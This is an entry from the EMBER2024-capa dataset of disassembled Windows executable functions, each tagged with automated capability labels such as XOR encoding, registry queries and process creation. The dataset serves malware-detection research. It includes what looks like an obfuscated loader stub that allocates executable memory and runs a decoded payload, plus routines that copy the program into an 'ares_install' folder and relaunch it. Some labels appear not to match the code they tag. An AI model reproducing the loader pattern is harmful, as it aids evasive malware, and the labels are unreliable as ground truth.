joyce8/EMBER2024-capa huggingface dataset:
Function at 0x25815eb0
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x4c
pushal
call 0x25815ebf
pop dword [ebp - 0x3c]
mov eax, 0xfbf2eca5
sub eax, 0xd6718de6
sub dword [ebp - 0x3c], eax
mov dword [ebp - 0x4c], 0xcec7f632
add dword [ebp - 0x4c], 0x7f8a4f19
mov dword [ebp - 0x48], 0xb388a6f5
add dword [ebp - 0x48], 0x7eaaa550
mov dword [ebp - 0x44], 0x5636434
add dword [ebp - 0x44], 0x46e8dffa
mov dword [ebp - 0x40], 0x57c64e80
add dword [ebp - 0x40], 0xa839b180
lea eax, [ebp - 0x4c]
push eax
mov eax, sym.imp.kernel32.dll_GetModuleHandleA
add eax, dword [ebp - 0x3c]
call dword [eax]
mov dword [ebp - 0x4c], 0xa24613c2
add dword [ebp - 0x4c], 0xd22c5594
mov dword [ebp - 0x48], 0xd80bc703
sub dword [ebp - 0x48], 0x969f658e
mov dword [ebp - 0x44], 0xb95245fd
add dword [ebp - 0x44], 0xaa1d266f
mov dword [ebp - 0x40], 0xcd90d5be
add dword [ebp - 0x40], 0x326f2a42
lea ebx, [ebp - 0x4c]
push ebx
push eax
mov eax, 0xac6b6aed
sub eax, 0x86e99a6d
add eax, dword [ebp - 0x3c]
call dword [eax]
push 0x40
push 0x1000
push 0x400b0
push 0
call eax
mov ecx, 0x76d2587b
sub ecx, 0x76d20275
xor edx, edx
add edx, eax
mov ebx, 0xecf1c2e0
add ebx, 0x3890d320
add ebx, dword [ebp - 0x3c]
mov esi, 0x2510961a
xor dword [ebp - 0x28], 0x2151c999
mov edi, dword [ebx]
mov dword [ebp - 0x30], 0x454d7ff6
add edi, esi
add dword [ebp - 4], edx
mov dword [edx], edi
xor dword [ebp - 0x1c], eax
add edx, 0x6f0edfa3
add edx, 0x90f12061
add ebx, 0x3d9e8c77
sub ebx, 0x3d9e8c73
loop 0x25815fd8
add eax, 0x7b916a9e
add eax, 0x846fe04d
xor ebx, ebx
add ebx, eax
add eax, 5
mov ecx, 0x25800000
add ecx, dword [ebp - 0x3c]
call ebx
leave
ret
Function at 0x4170bb
Capabilities:
Query or enumerate registry value

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push ecx
and dword [ebp - 4], 0
lea eax, [ebp - 4]
push eax
push str.SoftwareMicrosoftDirect3D
push 0x80000002
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyA]
test eax, eax
jne 0x417114
push esi
lea eax, [ebp + 0x14]
push eax
push dword [ebp + 0x10]
lea eax, [ebp + 0x10]
push eax
push 0
push dword [ebp + 0xc]
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
push dword [ebp - 4]
mov esi, eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
test esi, esi
pop esi
jne 0x417114
mov eax, dword [ebp + 0x10]
cmp eax, dword [ebp + 8]
jne 0x417114
xor eax, eax
inc eax
jmp 0x417116
xor eax, eax
leave
ret 0x10

Function at 0x417142
Capabilities:
Get system information on windows
Query or enumerate registry value

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x34
push edi
lea eax, [ebp - 4]
push eax
push str.SoftwareMicrosoftDirect3D
push 0x80000002
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyA]
xor edi, edi
test eax, eax
jne 0x4171b2
lea eax, [ebp - 8]
push eax
lea eax, [ebp - 0x10]
push eax
lea eax, [ebp - 0xc]
push eax
push edi
push 0x538a30
push dword [ebp - 4]
mov dword [ebp - 8], 4
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x4171a9
cmp dword [ebp - 0xc], 4
jne 0x4171a9
cmp dword [ebp - 0x10], edi
je 0x4171a9
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov dword [0x595d30], edi
xor eax, eax
jmp 0x4171f1
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
cmp dword [0x595d30], edi
jge 0x4171ec
lea eax, [ebp - 0x34]
push eax
mov dword [0x595d30], edi
call dword [sym.imp.KERNEL32.dll_GetSystemInfo]
cmp word [ebp - 0x34], di
jne 0x4171ec
cmp word [ebp - 0x14], 5
jb 0x4171ec
call fcn.0041711a
test eax, eax
je 0x4171ec
emms
mov dword [0x595d30], 1
mov eax, dword [0x595d30]
pop edi
leave
ret
Function at 0x4173a8
Capabilities:
Encode data using xor

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x14
mov eax, dword [ebp + 0x14]
mov edx, dword [ebp + 0xc]
push edi
mov edi, dword [ebp + 0x18]
imul eax, edi
add eax, edx
cmp edx, eax
mov dword [ebp - 0x14], eax
jae 0x4174cb
mov eax, dword [ebp + 0x10]
lea eax, [edx + eax*4]
push ebx
push esi
mov dword [ebp + 0x14], eax
mov esi, 0xffc03fc0
mov eax, 0xff00ff
cmp edx, dword [ebp + 0x14]
mov ecx, dword [ebp + 8]
mov dword [ebp - 4], ecx
jae 0x4174af
mov ebx, dword [ebp + 0x14]
sub ebx, edx
dec ebx
shr ebx, 3
lea ecx, [edx + 4]
inc ebx
mov dword [ebp - 0xc], ecx
mov dword [ebp - 0x10], ebx
mov edx, dword [ecx + edi]
mov edi, dword [edi + ecx - 4]
mov dword [ebp - 8], edi
shr edi, 2
and edi, esi
mov dword [ebp + 0x10], edx
mov edx, dword [ecx]
mov ecx, dword [ecx - 4]
mov ebx, ecx
shr ebx, 2
and ebx, esi
add ebx, edi
mov edi, dword [ebp + 0x10]
shr edi, 2
and edi, esi
add ebx, edi
mov edi, edx
shr edi, 2
and edi, esi
lea ebx, [ebx + edi - 0x7fff80]
mov edi, dword [ebp - 8]
and edi, eax
mov esi, ecx
and esi, eax
add esi, edi
mov edi, dword [ebp + 0x10]
and edi, eax
add esi, edi
mov edi, edx
and edi, eax
lea esi, [esi + edi + 0x20002]
mov edi, dword [ebp - 8]
shr ecx, 2
shr esi, 2
xor ebx, esi
shr edi, 2
mov esi, 0x3fc03fc0
and ecx, esi
and edi, esi
add ecx, edi
mov edi, dword [ebp + 0x10]
shr edi, 2
and edi, esi
add ecx, edi
mov edi, dword [ebp + 0x18]
shr edx, 2
and edx, esi
lea ecx, [ecx + edx + 0x800080]
and ebx, eax
xor ebx, ecx
mov ecx, dword [ebp - 4]
add dword [ebp - 4], 4
mov dword [ecx], ebx
mov ecx, dword [ebp - 0xc]
add ecx, 8
dec dword [ebp - 0x10]
mov dword [ebp - 0xc], ecx
mov esi, 0xffc03fc0
jne 0x417401
mov edx, dword [ebp + 0xc]
mov ecx, dword [ebp + 0x1c]
add dword [ebp + 8], ecx
lea ecx, [edi + edi]
add dword [ebp + 0x14], ecx
add edx, ecx
cmp edx, dword [ebp - 0x14]
mov dword [ebp + 0xc], edx
jb 0x4173df
pop esi
pop ebx
xor eax, eax
pop edi
leave
ret 0x18
Function at 0x427e17
Capabilities:
Encrypt data using rc4 prga

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0xc
mov edx, dword [ebx + 0x24]
push esi
mov dword [ebp - 8], edx
push edi
mov ecx, dword [ebx + 0x64]
mov eax, dword [ebx + 0x34]
mov esi, dword [ebx + 0x6c]
sub eax, ecx
sub eax, esi
mov dword [ebp - 4], eax
jne 0x427e45
test ecx, ecx
jne 0x427e4f
test esi, esi
jne 0x427e4f
mov eax, edx
jmp 0x427ec0
cmp eax, 0xffffffff
jne 0x427e4f
push 0xfffffffffffffffe
pop eax
jmp 0x427ec0
mov esi, dword [ebx + 0x24]
lea esi, [edx + esi - 0x106]
cmp ecx, esi
jb 0x427ec0
mov edi, dword [ebx + 0x30]
mov ecx, edx
mov eax, ecx
shr ecx, 2
lea esi, [edi + edx]
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov ecx, dword [ebx + 0x44]
mov eax, dword [ebx + 0x3c]
sub dword [ebx + 0x68], edx
sub dword [ebx + 0x64], edx
sub dword [ebx + 0x54], edx
lea eax, [eax + ecx*2]
dec eax
dec eax
movzx esi, word [eax]
mov edi, esi
sub edi, edx
cmp esi, edx
sbb esi, esi
not esi
and esi, edi
dec ecx
mov word [eax], si
jne 0x427e85
mov eax, dword [ebx + 0x38]
mov esi, edx
lea eax, [eax + edx*2]
dec eax
dec eax
movzx ecx, word [eax]
mov edi, ecx
sub edi, edx
cmp ecx, edx
sbb ecx, ecx
not ecx
and ecx, edi
dec esi
mov word [eax], cx
jne 0x427ea4
mov eax, dword [ebp - 4]
add eax, edx
mov esi, dword [ebx]
cmp dword [esi + 4], 0
mov dword [ebp - 0xc], esi
je 0x427f6d
mov edi, dword [ebx + 0x6c]
add edi, dword [ebx + 0x64]
mov ecx, dword [esi + 4]
add edi, dword [ebx + 0x30]
cmp ecx, eax
mov dword [ebp - 4], ecx
jbe 0x427ee5
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
jne 0x427eef
xor ecx, ecx
jmp 0x427f2e
sub ecx, dword [ebp - 4]
mov eax, dword [esi + 0x1c]
mov dword [esi + 4], ecx
cmp dword [eax + 0x18], 0
jne 0x427f11
push dword [ebp - 4]
push dword [esi]
push dword [esi + 0x30]
call fcn.00429c58
mov edx, dword [ebp - 8]
mov dword [esi + 0x30], eax
mov ecx, dword [ebp - 4]
mov esi, dword [esi]
mov eax, ecx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov ecx, eax
mov eax, dword [ebp - 0xc]
add dword [eax], ecx
add dword [eax + 8], ecx
add dword [ebx + 0x6c], ecx
mov edi, dword [ebx + 0x6c]
cmp edi, 3
jb 0x427f59
mov eax, dword [ebx + 0x64]
mov ecx, dword [ebx + 0x30]
lea esi, [eax + ecx]
movzx eax, byte [esi]
mov ecx, dword [ebx + 0x50]
mov dword [ebx + 0x40], eax
shl eax, cl
movzx ecx, byte [esi + 1]
xor eax, ecx
and eax, dword [ebx + 0x4c]
mov dword [ebx + 0x40], eax
cmp edi, 0x106
jae 0x427f6d
mov eax, dword [ebx]
cmp dword [eax + 4], 0
jne 0x427e27
pop edi
pop esi
leave
ret
Function at 0x42c580
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x620
mov eax, dword [0x58f080]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
push edi
mov edi, ecx
cmp dword [edi + 0x3a68], 0
jne 0x42c61c
call fcn.0042cfb0
test eax, eax
jne 0x42c60a
mov ecx, edi
call fcn.0042d060
test eax, eax
jne 0x42c60a
lea eax, [edi + 0x820]
push eax
lea eax, [edi + 0x3248]
push eax
lea eax, [ebp - 0x210]
push 2
push eax
call fcn.00479620
lea eax, [ebp - 0x418]
push eax
lea eax, [ebp - 0x210]
push eax
call fcn.00479490
lea eax, [ebp - 0x620]
push eax
lea eax, [ebp - 0x210]
push eax
call fcn.004793a0
add esp, 0x20
lea eax, [ebp - 0x418]
push 5
push eax
lea eax, [ebp - 0x620]
jmp 0x42c648
xor eax, eax
pop edi
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0049493f
mov esp, ebp
pop ebp
ret
lea eax, [edi + 0x820]
push eax
lea esi, [edi + 0x3040]
push esi
lea eax, [ebp - 0x210]
push 0x55070c
push eax
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0x10
lea eax, [ebp - 0x210]
push 5
push esi
push 0x5506e8
push eax
push str.open
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteW]
mov ecx, 0x20
cmp ecx, eax
mov ecx, dword [ebp - 4]
pop edi
sbb eax, eax
xor ecx, ebp
neg eax
pop esi
call fcn.0049493f
mov esp, ebp
pop ebp
ret
Function at 0x42c960
Capabilities:
Copy file
Create directory
Create process on windows
Set file attributes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc74
mov eax, dword [0x58f080]
xor eax, ebp
mov dword [ebp - 4], eax
push edi
mov edi, ecx
mov dword [ebp - 0xc38], edx
cmp dword [edi + 0x3a70], 0
je 0x42c996
xor eax, eax
pop edi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0049493f
mov esp, ebp
pop ebp
ret
push ebx
push esi
push 0x5506e8
lea eax, [ebp - 0xa2c]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpyW]
lea esi, [edi + 0x3248]
push esi
call dword [sym.imp.KERNEL32.dll_lstrlenW]
mov ebx, dword [sym.imp.USER32.dll_wsprintfW]
cmp word [edi + eax*2 + 0x3246], 0x5c
lea eax, [edi + 0xa28]
push eax
push esi
lea eax, [ebp - 0x414]
jne 0x42c9dd
push str._s_s
jmp 0x42c9e2
push 0x55070c
push eax
call ebx
add esp, 0x10
cmp dword [edi + 0x48b8], 0
je 0x42cad2
lea eax, [ebp - 0xc34]
push eax
lea eax, [ebp - 0x414]
push eax
call fcn.004793a0
lea eax, [ebp - 0x20c]
push eax
push 6
call fcn.0047a550
push str.ares_install
lea eax, [ebp - 0x20c]
push eax
lea eax, [ebp - 0x824]
push str._s_s
push eax
call ebx
add esp, 0x20
lea eax, [ebp - 0x824]
push 0
push eax
call dword [sym.imp.KERNEL32.dll_CreateDirectoryW]
lea eax, [ebp - 0xc34]
push eax
lea eax, [ebp - 0x824]
push eax
lea eax, [ebp - 0x20c]
push 0x55070c
push eax
call ebx
add esp, 0x10
lea eax, [ebp - 0x20c]
push eax
lea eax, [ebp - 0x61c]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpyW]
mov esi, dword [sym.imp.KERNEL32.dll_SetFileAttributesW]
lea eax, [ebp - 0x61c]
push 0x20
push eax
call esi
push 0
lea eax, [ebp - 0x20c]
push eax
lea eax, [ebp - 0x414]
push eax
call dword [sym.imp.KERNEL32.dll_CopyFileW]
push 0x20
lea eax, [ebp - 0x20c]
push eax
call esi
lea eax, [ebp - 0x61c]
push eax
lea eax, [ebp - 0x414]
push eax
call fcn.00479490
lea eax, [ebp - 0x61c]
push eax
lea eax, [ebp - 0xa2c]
push str._c___s_
push eax
call ebx
add esp, 0x14
cmp dword [ebp - 0xc38], 0
pop esi
pop ebx
je 0x42caef
push 0x5507f4
lea eax, [ebp - 0xa2c]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcatW]
lea eax, [ebp - 0xc74]
push 0x3c
push eax
call fcn.00479960
add esp, 8
mov dword [ebp - 0xc74], 0x3c
cmp dword [edi + 0x48b8], 0
mov dword [ebp - 0xc70], 0x440
mov dword [ebp - 0xc68], str.open
je 0x42cb41
lea eax, [ebp - 0x20c]
mov dword [ebp - 0xc64], eax
lea eax, [ebp - 0x824]
mov dword [ebp - 0xc5c], eax
jmp 0x42cb57
lea eax, [ebp - 0x414]
mov dword [ebp - 0xc5c], 0
mov dword [ebp - 0xc64], eax
lea eax, [ebp - 0xa2c]
mov dword [ebp - 0xc58], 1
mov dword [ebp - 0xc60], eax
lea eax, [ebp - 0xc74]
push eax
call dword [sym.imp.SHELL32.dll_ShellExecuteExW]
test eax, eax
je 0x42c985
mov eax, dword [ebp - 0xc3c]
mov ecx, dword [ebp - 4]
mov dword [edi + 0x3a70], eax
xor ecx, ebp
mov eax, 1
pop edi
call fcn.0049493f
mov esp, ebp
pop ebp
ret
Function at 0x42cbb0
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x658
mov eax, dword [0x58f080]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
mov esi, ecx
cmp dword [esi + 0x3a70], 0
je 0x42cbe0
xor eax, eax
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0049493f
mov esp, ebp
pop ebp
ret
push edi
lea edi, [esi + 0x3248]
push edi
call dword [sym.imp.KERNEL32.dll_lstrlenW]
cmp word [esi + eax*2 + 0x3246], 0x5c
lea eax, [esi + 0xc30]
push eax
push edi
lea eax, [ebp - 0x20c]
jne 0x42cc0e
push str._s_s
jmp 0x42cc13
push 0x55070c
push eax
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0x10
lea eax, [ebp - 0x414]
push eax
lea eax, [ebp - 0x20c]
push eax
call fcn.00479490
lea eax, [ebp - 0x658]
push 0x3c
push eax
call fcn.00479960
mov edi, dword [sym.imp.SHELL32.dll_ShellExecuteExW]
lea eax, [ebp - 0x20c]
mov dword [ebp - 0x648], eax
add esp, 0x10
lea eax, [ebp - 0x414]
mov dword [ebp - 0x658], 0x3c
mov dword [ebp - 0x640], eax
lea eax, [ebp - 0x658]
mov dword [ebp - 0x654], 0x440
push eax
mov dword [ebp - 0x64c], str.open
mov dword [ebp - 0x63c], 1
call edi
test eax, eax
jne 0x42cd2b
lea eax, [ebp - 0x20c]
push eax
lea eax, [ebp - 0x61c]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpyW]
lea eax, [ebp - 0x20c]
push eax
lea eax, [ebp - 0x61c]
push eax
call fcn.004793a0
lea eax, [ebp - 0x658]
push 0x3c
push eax
call fcn.00479960
add esp, 0x10
mov dword [ebp - 0x658], 0x3c
lea eax, [ebp - 0x20c]
mov dword [ebp - 0x654], 0x440
mov dword [ebp - 0x648], eax
lea eax, [ebp - 0x658]
mov dword [ebp - 0x64c], str.open
push eax
mov dword [ebp - 0x63c], 1
mov dword [ebp - 0x640], 0
call edi
test eax, eax
jne 0x42cd2b
pop edi
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0049493f
mov esp, ebp
pop ebp
ret
mov eax, dword [ebp - 0x620]
mov ecx, dword [ebp - 4]
mov dword [esi + 0x3a70], eax
xor ecx, ebp
pop edi
mov eax, 1
pop esi
call fcn.0049493f
mov esp, ebp
pop ebp
ret
Function at 0x42d460
Capabilities:
Copy file
Create directory
Create process on windows
Get common file path
Set file attributes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc34
mov eax, dword [0x58f080]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
push 0x104
lea eax, [ebp - 0xa2c]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
lea eax, [ebp - 0xc34]
push eax
lea eax, [ebp - 0xa2c]
push eax
call fcn.004793a0
lea eax, [ebp - 0x20c]
push eax
push 6
call fcn.0047a550
mov esi, dword [sym.imp.USER32.dll_wsprintfW]
lea eax, [ebp - 0x20c]
push str.ares_install
push eax
lea eax, [ebp - 0x61c]
push str._s_s
push eax
call esi
add esp, 0x20
lea eax, [ebp - 0x61c]
push 0
push eax
call dword [sym.imp.KERNEL32.dll_CreateDirectoryW]
lea eax, [ebp - 0xc34]
push eax
lea eax, [ebp - 0x61c]
push eax
lea eax, [ebp - 0x20c]
push 0x55070c
push eax
call esi
add esp, 0x10
lea eax, [ebp - 0x20c]
push eax
lea eax, [ebp - 0x414]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpyW]
mov esi, dword [sym.imp.KERNEL32.dll_SetFileAttributesW]
lea eax, [ebp - 0x414]
push 0x20
push eax
call esi
push 0
lea eax, [ebp - 0x20c]
push eax
lea eax, [ebp - 0xa2c]
push eax
call dword [sym.imp.KERNEL32.dll_CopyFileW]
push 0x20
lea eax, [ebp - 0x20c]
push eax
call esi
lea eax, [ebp - 0xa2c]
push eax
push 0x104
call dword [sym.imp.KERNEL32.dll_GetCurrentDirectoryW]
push 5
lea eax, [ebp - 0xa2c]
push eax
push 0x5506e8
lea eax, [ebp - 0x414]
push eax
push str.open
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteW]
mov ecx, dword [ebp - 4]
mov eax, 1
xor ecx, ebp
pop esi
call fcn.0049493f
mov esp, ebp
pop ebp
ret
Function at 0x4418e0
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 0xc]
xor ecx, ecx
push ebx
push edi
mov edi, dword [ebp + 8]
mov dword [ebp + 8], 0
lea eax, [edi + eax*4]
mov ebx, eax
sub ebx, edi
add ebx, 3
shr ebx, 2
cmp edi, eax
cmova ebx, ecx
test ebx, ebx
je 0x44194b
push esi
mov esi, dword [ebp + 0x10]
mov edi, edi
mov edx, dword [edi]
lea esi, [esi + 2]
mov ecx, edx
lea edi, [edi + 4]
shr ecx, 0x10
mov eax, edx
shr eax, 0xc
xor cl, al
mov eax, edx
shr eax, 0x10
and cl, 0xf
xor cl, al
mov eax, edx
shr eax, 0x1c
xor al, dl
mov byte [esi - 2], cl
and al, 0xf
xor al, dl
mov byte [esi - 1], al
mov eax, dword [ebp + 8]
inc eax
mov dword [ebp + 8], eax
cmp eax, ebx
jb 0x441910
pop esi
pop edi
pop ebx
pop ebp
ret

Function at 0x441950
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 0xc]
xor ecx, ecx
push ebx
mov ebx, dword [ebp + 8]
push edi
mov dword [ebp + 8], 0
lea eax, [ebx + eax*4]
mov edi, eax
sub edi, ebx
add edi, 3
shr edi, 2
cmp ebx, eax
cmova edi, ecx
test edi, edi
je 0x4419c4
push esi
mov esi, dword [ebp + 0x10]
mov edi, edi
mov edx, dword [ebx]
lea esi, [esi + 2]
mov ecx, edx
lea ebx, [ebx + 4]
shr ecx, 0x10
mov eax, edx
shr eax, 0xd
xor cl, al
mov eax, edx
and cl, 7
shr eax, 0x10
xor cl, al
mov eax, edx
mov byte [esi - 2], cl
mov ecx, edx
shr ecx, 5
shr eax, 3
xor cl, al
shr edx, 5
mov eax, dword [ebp + 8]
and cl, 0x1f
xor cl, dl
inc eax
mov byte [esi - 1], cl
mov dword [ebp + 8], eax
cmp eax, edi
jb 0x441980
pop esi
pop edi
pop ebx
pop ebp
ret
Function at 0x448930
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
push ebx
mov ebx, edx
push esi
mov dword [ebp - 0xc], ebx
mov esi, dword [ebx]
lea eax, [ecx + esi*2]
add eax, esi
imul ecx, eax, 0x2c
mov eax, dword [ebx + 4]
add ecx, dword [ebx + 0x14]
test eax, eax
jns 0x448971
mov eax, dword [ecx]
cmp eax, 0xffff0000
jb 0x448962
inc eax
shr eax, 1
and eax, 0x7fff7fff
add eax, 0x10000
pop esi
mov dword [ecx], eax
xor eax, eax
pop ebx
mov esp, ebp
pop ebp
ret
cmp esi, eax
jg 0x448ad4
push edi
mov edi, 2
nop
mov eax, dword [ecx]
cmp eax, 0xffff0000
jb 0x448991
inc eax
shr eax, 1
and eax, 0x7fff7fff
add eax, 0x10001
mov dword [ecx], eax
mov eax, dword [ebx + 8]
movsx edx, word [eax + esi*2]
test edx, edx
jne 0x4489d9
mov eax, dword [ecx + 4]
inc esi
cmp eax, 0xffff0000
jb 0x4489b6
inc eax
shr eax, 1
and eax, 0x7fff7fff
add eax, 0x10000
mov dword [ecx + 4], eax
movzx eax, byte [esi + 0x5555a0]
imul ecx, eax, 0x84
mov eax, dword [ebx + 8]
movsx edx, word [eax + esi*2]
add ecx, dword [ebx + 0x14]
test edx, edx
je 0x4489a3
mov eax, dword [ecx + 4]
inc esi
mov dword [ebp - 8], esi
cmp eax, 0xffff0000
jb 0x4489ef
inc eax
shr eax, 1
and eax, 0x7fff7fff
add eax, 0x10001
mov dword [ecx + 4], eax
lea eax, [edx + 1]
cmp edi, eax
mov eax, dword [ecx + 8]
sbb edi, edi
neg edi
cmp eax, 0xffff0000
jb 0x448a12
inc eax
shr eax, 1
and eax, 0x7fff7fff
add eax, 0x10000
add eax, edi
mov dword [ecx + 8], eax
test edi, edi
jne 0x448a38
movzx eax, byte [esi + 0x5555a0]
imul ecx, eax, 0x84
add ecx, 0x2c
add ecx, dword [ebx + 0x14]
jmp 0x448ac5
mov eax, edx
cdq
xor eax, edx
sub eax, edx
mov edx, 0x43
cmp eax, 0x43
cmovg eax, edx
xor edi, edi
movzx ebx, word [eax*4 + 0x553cbc]
shr ebx, 1
movzx edx, word [eax*4 + 0x553cbe]
mov dword [ebp - 4], edx
je 0x448aad
mov esi, dword [ebp - 4]
lea edx, [ecx + 0xc]
lea esp, [esp]
test bl, 1
je 0x448aa2
mov ecx, edi
mov eax, 2
shl eax, cl
mov ecx, dword [edx]
and eax, esi
neg eax
sbb eax, eax
neg eax
cmp ecx, 0xffff0000
jb 0x448a99
inc ecx
shr ecx, 1
and ecx, 0x7fff7fff
add eax, 0x10000
add eax, ecx
mov dword [edx], eax
inc edi
add edx, 4
sar ebx, 1
jne 0x448a70
mov esi, dword [ebp - 8]
movzx eax, byte [esi + 0x5555a0]
mov ebx, dword [ebp - 0xc]
imul ecx, eax, 0x84
mov eax, dword [ebx + 0x14]
add eax, 0x58
add ecx, eax
mov edi, 2
cmp esi, dword [ebx + 4]
jle 0x448980
pop edi
cmp esi, 0x10
jge 0x448af1
mov eax, dword [ecx]
cmp eax, 0xffff0000
jb 0x448aea
inc eax
shr eax, 1
and eax, 0x7fff7fff
add eax, 0x10000
mov dword [ecx], eax
pop esi
mov eax, 1
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x450970
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x30
mov eax, dword [0x58f080]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
push esi
mov esi, edx
mov dword [ebp - 0x28], eax
push edi
mov edi, ecx
mov ecx, esi
mov edx, dword [esi + 4]
add edx, 7
sar edx, 3
call fcn.0045e8c0
test eax, eax
je 0x4509c5
cmp dword [esi + 4], 0
jle 0x4509be
mov ecx, dword [esi + 0xc]
mov al, byte [esi]
mov byte [ecx], al
inc dword [esi + 0xc]
shr dword [esi], 8
add dword [esi + 4], 0xfffffff8
cmp dword [esi + 4], 0
jg 0x4509a7
mov dword [esi + 4], 0
mov ebx, dword [esi + 4]
mov eax, dword [esi + 8]
add ebx, 7
sar ebx, 3
add ebx, dword [esi + 0xc]
sub ebx, eax
mov dword [ebp - 0x2c], eax
push edi
push 0x15
mov dword [ebp - 0x1c], 0x46464952
lea ecx, [ebx + 1]
mov dword [ebp - 0x14], 0x50424557
mov esi, ecx
mov dword [ebp - 0x10], 0x4c385056
lea edx, [ecx + 0xc]
mov byte [ebp - 8], 0x2f
and esi, 1
add edx, esi
movzx eax, dx
mov byte [ebp - 0x18], al
sar eax, 8
mov byte [ebp - 0x17], al
mov eax, edx
shr eax, 0x10
mov byte [ebp - 0x16], al
sar eax, 8
mov byte [ebp - 0x15], al
movzx eax, cx
mov byte [ebp - 0xc], al
sar eax, 8
mov byte [ebp - 0xb], al
lea eax, [ebp - 0x1c]
shr ecx, 0x10
mov byte [ebp - 0xa], cl
sar ecx, 8
push eax
mov eax, dword [edi + 0x48]
mov dword [ebp - 0x24], edx
mov byte [ebp - 9], cl
call eax
add esp, 0xc
test eax, eax
je 0x450a91
mov eax, dword [edi + 0x48]
push edi
push ebx
push dword [ebp - 0x2c]
call eax
add esp, 0xc
test eax, eax
je 0x450a91
test esi, esi
je 0x450a73
push edi
lea eax, [ebp - 0x1d]
mov byte [ebp - 0x1d], 0
push 1
push eax
mov eax, dword [edi + 0x48]
call eax
add esp, 0xc
test eax, eax
je 0x450a91
mov ecx, dword [ebp - 0x28]
mov eax, dword [ebp - 0x24]
add eax, 8
mov dword [ecx], eax
xor eax, eax
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0049493f
mov esp, ebp
pop ebp
ret
mov ecx, dword [ebp - 4]
mov eax, 8
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.0049493f
mov esp, ebp
pop ebp
ret